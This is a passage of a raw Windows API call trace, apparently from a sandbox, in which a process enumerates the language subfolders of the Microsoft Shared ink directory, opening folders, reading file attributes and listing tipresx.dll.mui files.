lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.216] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.216] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.216] GetLastError () returned 0x12 [0143.216] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986738) returned 1 [0143.216] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0143.216] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98ce60) returned 1 [0143.216] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.216] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0143.216] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.216] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.217] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0143.218] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0143.218] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x98e8d8 [0143.218] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x98e8d8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x98e8d8, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0143.218] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98e8d8) returned 1 [0143.218] NtClose (Handle=0x19c) returned 0x0 [0143.218] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.218] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.218] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986738 [0143.218] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9867c0 [0143.218] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829c38 [0143.218] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.219] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.219] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.219] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.219] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.219] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.219] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.219] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98ce60 [0143.219] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986738) returned 1 [0143.219] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e130 [0143.219] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98d280 [0143.219] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.219] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.219] GetLastError () returned 0x12 [0143.219] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0143.219] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0143.219] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.219] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.219] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.220] GetLastError () returned 0x12 [0143.220] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9867c0) returned 1 [0143.220] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0143.220] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98ce60) returned 1 [0143.220] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.220] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0143.220] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.220] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.222] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0143.222] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0143.222] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x98e8d8 [0143.222] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x98e8d8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x98e8d8, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0143.222] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98e8d8) returned 1 [0143.222] NtClose (Handle=0x198) returned 0x0 [0143.222] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.223] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.223] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9867c0 [0143.223] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.223] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0143.223] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.223] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.223] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986738 [0143.223] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986738) returned 1 [0143.223] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986738 [0143.223] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986738) returned 1 [0143.223] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986738 [0143.223] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98ce60 [0143.223] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9867c0) returned 1 [0143.224] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e150 [0143.224] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98d388 [0143.224] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986738) returned 1 [0143.224] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.224] GetLastError () returned 0x12 [0143.224] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829c38 [0143.224] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0143.224] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.224] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.224] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.224] GetLastError () returned 0x12 [0143.224] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.224] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0143.224] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98ce60) returned 1 [0143.224] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.224] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0143.224] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.224] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.225] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0143.225] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0143.226] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x98e8d8 [0143.226] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x98e8d8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x98e8d8, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0143.226] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98e8d8) returned 1 [0143.226] NtClose (Handle=0x19c) returned 0x0 [0143.226] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.226] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.226] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.226] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986738 [0143.226] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829c38 [0143.226] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.226] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.226] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9867c0 [0143.227] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9867c0) returned 1 [0143.227] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9867c0 [0143.227] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9867c0) returned 1 [0143.227] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9867c0 [0143.227] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98ce60 [0143.227] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.227] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e170 [0143.227] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98d490 [0143.227] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9867c0) returned 1 [0143.227] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.227] GetLastError () returned 0x12 [0143.227] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0143.227] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0143.227] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.227] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.227] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.227] GetLastError () returned 0x12 [0143.227] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986738) returned 1 [0143.227] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0143.227] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98ce60) returned 1 [0143.227] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.227] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, 